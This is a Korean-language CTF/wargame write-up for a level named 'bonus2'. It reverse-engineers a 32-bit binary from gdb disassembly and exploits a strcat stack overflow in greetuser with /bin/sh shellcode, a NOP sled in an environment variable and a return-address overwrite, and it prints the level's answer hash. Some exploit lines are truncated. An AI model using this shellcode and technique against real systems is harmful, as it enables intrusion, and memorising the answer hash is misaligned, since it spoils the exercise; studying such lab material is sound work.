bonus2

태그	Assembly BufferOverflow ReturnAddressOverwrite Shell
상태	완료

풀이과정

겪었던 어려움

nop sled를 이용한 payload에서 shellcode 주소값을 몇으로 지정해야 하나..?

풀이과정

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

```
(gdb) disas main
Dump of assembler code for function main:
   0x08048529 <+0>: push   %ebp
   0x0804852a <+1>: mov    %esp,%ebp
   0x0804852c <+3>: push   %edi
   0x0804852d <+4>: push   %esi
   0x0804852e <+5>: push   %ebx
   0x0804852f <+6>: and    $0xfffffff0,%esp
   0x08048532 <+9>: sub    $0xa0,%esp
   0x08048538 <+15>:    cmpl   $0x3,0x8(%ebp)
   0x0804853c <+19>:    je     0x8048548 <main+31>
   0x0804853e <+21>:    mov    $0x1,%eax
   0x08048543 <+26>:    jmp    0x8048630 <main+263>
   0x08048548 <+31>:    lea    0x50(%esp),%ebx
   0x0804854c <+35>:    mov    $0x0,%eax
   0x08048551 <+40>:    mov    $0x13,%edx
   0x08048556 <+45>:    mov    %ebx,%edi
   0x08048558 <+47>:    mov    %edx,%ecx
   0x0804855a <+49>:    rep stos %eax,%es:(%edi)
   0x0804855c <+51>:    mov    0xc(%ebp),%eax
   0x0804855f <+54>:    add    $0x4,%eax
   0x08048562 <+57>:    mov    (%eax),%eax
   0x08048564 <+59>:    movl   $0x28,0x8(%esp)
   0x0804856c <+67>:    mov    %eax,0x4(%esp)
```

```
   0x08048570 <+71>:    lea    0x50(%esp),%eax
   0x08048574 <+75>:    mov    %eax,(%esp)
   0x08048577 <+78>:    call   0x80483c0 <strncpy@plt>
   0x0804857c <+83>:    mov    0xc(%ebp),%eax
   0x0804857f <+86>:    add    $0x8,%eax
   0x08048582 <+89>:    mov    (%eax),%eax
   0x08048584 <+91>:    movl   $0x20,0x8(%esp)
   0x0804858c <+99>:    mov    %eax,0x4(%esp)
   0x08048590 <+103>:   lea    0x50(%esp),%eax
   0x08048594 <+107>:   add    $0x28,%eax
   0x08048597 <+110>:   mov    %eax,(%esp)
   0x0804859a <+113>:   call   0x80483c0 <strncpy@plt>
   0x0804859f <+118>:   movl   $0x8048738,(%esp)
   0x080485a6 <+125>:   call   0x8048380 <getenv@plt>
   0x080485ab <+130>:   mov    %eax,0x9c(%esp)
   0x080485b2 <+137>:   cmpl   $0x0,0x9c(%esp)
   0x080485ba <+145>:   je     0x8048618 <main+239>
   0x080485bc <+147>:   movl   $0x2,0x8(%esp)
   0x080485c4 <+155>:   movl   $0x804873d,0x4(%esp)
   0x080485cc <+163>:   mov    0x9c(%esp),%eax
   0x080485d3 <+170>:   mov    %eax,(%esp)
   0x080485d6 <+173>:   call   0x8048360 <memcmp@plt>
   0x080485db <+178>:   test   %eax,%eax
   0x080485dd <+180>:   jne    0x80485eb <main+194>
   0x080485df <+182>:   movl   $0x1,0x8049988
   0x080485e9 <+192>:   jmp    0x8048618 <main+239>
   0x080485eb <+194>:   movl   $0x2,0x8(%esp)
   0x080485f3 <+202>:   movl   $0x8048740,0x4(%esp)
   0x080485fb <+210>:   mov    0x9c(%esp),%eax
   0x08048602 <+217>:   mov    %eax,(%esp)
   0x08048605 <+220>:   call   0x8048360 <memcmp@plt>
   0x0804860a <+225>:   test   %eax,%eax
   0x0804860c <+227>:   jne    0x8048618 <main+239>
   0x0804860e <+229>:   movl   $0x2,0x8049988
   0x08048618 <+239>:   mov    %esp,%edx
   0x0804861a <+241>:   lea    0x50(%esp),%ebx
   0x0804861e <+245>:   mov    $0x13,%eax
   0x08048623 <+250>:   mov    %edx,%edi
   0x08048625 <+252>:   mov    %ebx,%esi
   0x08048627 <+254>:   mov    %eax,%ecx
   0x08048629 <+256>:   rep movsl %ds:(%esi),%es:(%edi)
   0x0804862b <+258>:   call   0x8048484 <greetuser>
   0x08048630 <+263>:   lea    -0xc(%ebp),%esp
   0x08048633 <+266>:   pop    %ebx
   0x08048634 <+267>:   pop    %esi
   0x08048635 <+268>:   pop    %edi
   0x08048636 <+269>:   pop    %ebp
   0x08048637 <+270>:   ret

(gdb) disas greetuser
Dump of assembler code for function greetuser:
   0x08048484 <+0>: push   %ebp
   0x08048485 <+1>: mov    %esp,%ebp
```

```
0x08048487 <+3>: sub    $0x58,%esp
0x0804848a <+6>: mov    0x8049988,%eax
0x0804848f <+11>:    cmp    $0x1,%eax
0x08048492 <+14>:    je     0x80484ba <greetuser+54>
0x08048494 <+16>:    cmp    $0x2,%eax
0x08048497 <+19>:    je     0x80484e9 <greetuser+101>
0x08048499 <+21>:    test   %eax,%eax
0x0804849b <+23>:    jne    0x804850a <greetuser+134>
0x0804849d <+25>:    mov    $0x8048710,%edx
0x080484a2 <+30>:    lea    -0x48(%ebp),%eax
0x080484a5 <+33>:    mov    (%edx),%ecx
0x080484a7 <+35>:    mov    %ecx,(%eax)
0x080484a9 <+37>:    movzwl 0x4(%edx),%ecx
0x080484ad <+41>:    mov    %cx,0x4(%eax)
0x080484b1 <+45>:    movzbl 0x6(%edx),%edx
0x080484b5 <+49>:    mov    %dl,0x6(%eax)
0x080484b8 <+52>:    jmp    0x804850a <greetuser+134>
0x080484ba <+54>:    mov    $0x8048717,%edx
0x080484bf <+59>:    lea    -0x48(%ebp),%eax
0x080484c2 <+62>:    mov    (%edx),%ecx
0x080484c4 <+64>:    mov    %ecx,(%eax)
0x080484c6 <+66>:    mov    0x4(%edx),%ecx
0x080484c9 <+69>:    mov    %ecx,0x4(%eax)
0x080484cc <+72>:    mov    0x8(%edx),%ecx
0x080484cf <+75>:    mov    %ecx,0x8(%eax)
0x080484d2 <+78>:    mov    0xc(%edx),%ecx
0x080484d5 <+81>:    mov    %ecx,0xc(%eax)
0x080484d8 <+84>:    movzwl 0x10(%edx),%ecx
0x080484dc <+88>:    mov    %cx,0x10(%eax)
0x080484e0 <+92>:    movzbl 0x12(%edx),%edx
0x080484e4 <+96>:    mov    %dl,0x12(%eax)
0x080484e7 <+99>:    jmp    0x804850a <greetuser+134>
0x080484e9 <+101>:   mov    $0x804872a,%edx
0x080484ee <+106>:   lea    -0x48(%ebp),%eax
0x080484f1 <+109>:   mov    (%edx),%ecx
0x080484f3 <+111>:   mov    %ecx,(%eax)
0x080484f5 <+113>:   mov    0x4(%edx),%ecx
0x080484f8 <+116>:   mov    %ecx,0x4(%eax)
0x080484fb <+119>:   mov    0x8(%edx),%ecx
0x080484fe <+122>:   mov    %ecx,0x8(%eax)
0x08048501 <+125>:   movzwl 0xc(%edx),%edx
0x08048505 <+129>:   mov    %dx,0xc(%eax)
0x08048509 <+133>:   nop
0x0804850a <+134>:   lea    0x8(%ebp),%eax
0x0804850d <+137>:   mov    %eax,0x4(%esp)
0x08048511 <+141>:   lea    -0x48(%ebp),%eax
0x08048514 <+144>:   mov    %eax,(%esp)
0x08048517 <+147>:   call   0x8048370 <strcat@plt>
0x0804851c <+152>:   lea    -0x48(%ebp),%eax
0x0804851f <+155>:   mov    %eax,(%esp)
0x08048522 <+158>:   call   0x8048390 <puts@plt>
```

```
   0x08048527 <+163>:   leave
   0x08048528 <+164>:   ret
```

```
// 소스코드 리버싱
#include <stdio.h>
static int language;

void greetuser(char *str)
{
    char ebp_sub0x48[72]; //88비트
    if (language == 1)
        strcpy(ebp_sub0x48, "Hyvää päivää "); //13비트
    else if (language == 2)
        strcpy(ebp_sub0x48, "Goedemiddag! "); //13비트
    else if (language == 0)
        strcpy(ebp_sub0x48, "Hello "); //6비트
    strcat(ebp_sub0x48, str);
    puts(ebp_sub0x48);
}

int main(int ac, char **av)
{
    if (ac == 3)
    {
    //esp 0xa0 공간 만들기

        char buf_80[76];
        memset(buf_80, 0, (19 * 4));
        strncpy(buf_80, av[1], 0x28); //40 비트 채우기
        strncpy(buf_80 + 0x28, av[2], 0x20); // 32비트 채우기
        char *esp_9c = getenv("LANG");
        if (esp_9c == NULL)
        {
            greetuser(buf_80);
            return 0;
        }
        else
        {
            if (memcmp(esp_9c, "fi", 2) == 0)
                language = 1;
            else if (memcpy(esp_9c, "nl", 2) == 0)
                language = 2;
            greetuser(buf_80);
            return 0;
        }
    }
    else
        return 0;
}
```

취약점

```
(gdb) set args AAAABBBBCCCCDDDD EEEEFFFF
(gdb) run
Starting program: /home/user/bonus2/bonus2 AAAABBBBCCCCDDDD EEEEFFFF
Hello AAAABBBBCCCCDDDD

Breakpoint 1, 0x08048527 in greetuser ()
(gdb) x/40wx $esp
0xbffff5c0: 0xbffff5d0  0xbffff620  0x00000001  0x00000000
0xbffff5d0: 0x6c6c6548  0x4141206f  0x42424141  0x43434242
0xbffff5e0: 0x44444343  0xb7004444  0x00000002  0x00001f28
0xbffff5f0: 0xa2930900  0xbffff670  0x00000000  0xbffff6bc
0xbffff600: 0xbffff6d8  0xb7ff26b0  0xbffffefc  0xb7ea9e60
0xbffff610: 0xb7ea9e97  0x00000000  0xbffff6d8  0x08048630
0xbffff620: 0x41414141  0x42424242  0x43434343  0x44444444
0xbffff630: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff640: 0x00000000  0x00000000  0x45454545  0x46464646
0xbffff650: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/20wx $ebp
0xbffff618: 0xbffff6d8  0x08048630  0x41414141  0x42424242
0xbffff628: 0x43434343  0x44444444  0x00000000  0x00000000
0xbffff638: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff648: 0x45454545  0x46464646  0x00000000  0x00000000
0xbffff658: 0x00000000  0x00000000  0x00000000  0x00000000
```

payload목표는 greetuser함수가 끝나고 return되는 주소가 저장된 공간 0xbffff61c이다

프로그램 실행 인자로 넣어준 값이 저장되는 buf의 시작주소가 0xbffff5d6이고, buf앞에 저장된 6c6c6548 206f는 아스키로

“HELLO ”문자열이다. 총 74비트의 문자를 채워넣고 shellcode를 작성하는 것이 목표

프로그램 실행 인자로 채워넣을 수 있는 최대 크기가 72이기 때문에, “LANG”환경 변수를 변경해서 "Goedemiddag! "(13비트)를 먼저 채워넣고 나머지 공간을 채워넣기

```
(gdb) set args `python -c "print 'A' * 40"` `python -c "print 'B' * 20"`
(gdb) run
Starting program: /home/user/bonus2/bonus2 `python -c "print 'A' * 40"` `python -c "p
Goedemiddag! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB

Breakpoint 1, 0x08048527 in greetuser ()
(gdb) x/40wx $esp
0xbffff5b0: 0xbffff5c0  0xbffff610  0x00000001  0x00000000
0xbffff5c0: 0x64656f47  0x64696d65  0x21676164  0x41414120
0xbffff5d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff5e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff5f0: 0x41414141  0x42424241  0x42424242  0x42424242
0xbffff600: 0x42424242  0x42424242  0xbfff0042  0x08048630
0xbffff610: 0x41414141  0x41414141  0x41414141  0x41414141
```

```
0xbffff620: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff630: 0x41414141  0x41414141  0x42424242  0x42424242
0xbffff640: 0x42424242  0x42424242  0x42424242  0x00000000
(gdb) x/20wx $ebp
0xbffff608: 0xbfff0042  0x08048630  0x41414141  0x41414141
0xbffff618: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff628: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff638: 0x42424242  0x42424242  0x42424242  0x42424242
0xbffff648: 0x42424242  0x00000000  0x00000000  0x00000000
```

"Goedemiddag! "(13) + 'A' * 40 + 'B' * 20개를 입력했더니 greetuser ret주소까지 3비트가 모자란다.

```
// 첫번째 인자로 40개, 두번째 인자로 23개 + shellcode 삽입
./bonus2 `python -c "print 'A' * 40"` `python -c "print 'B' * 23 + shellcode"`


// 미세한 주소값 차이를 해결하기 위해 nop sled
export SHELLCODE=
`python -c "print '\x90' * 100 +
'\x31\xd2\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x31\xc0\xb0\x0b\x89\xe3

// gdb에서 주소값 확인
(gdb) x/s *((char **)environ)
0xbffff85e:  "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\

// 페이로드에서 쉘코드 주소를 + 10을 해서 nop sled를 타고 넘어가서 찾아가게끔 함
./bonus2
`python -c "print 'A' * 40"` `python -c "print 'B' * 23 + '\xbf\xff\xf8\x6e'[::-1]"`
```

`'\x31\xd2\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x31\xc0\xb0\x0b\x89\xe3\x83\xe4\xf0\xcd\x80'"` ⇒ 쉘코드

정답

71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587

출처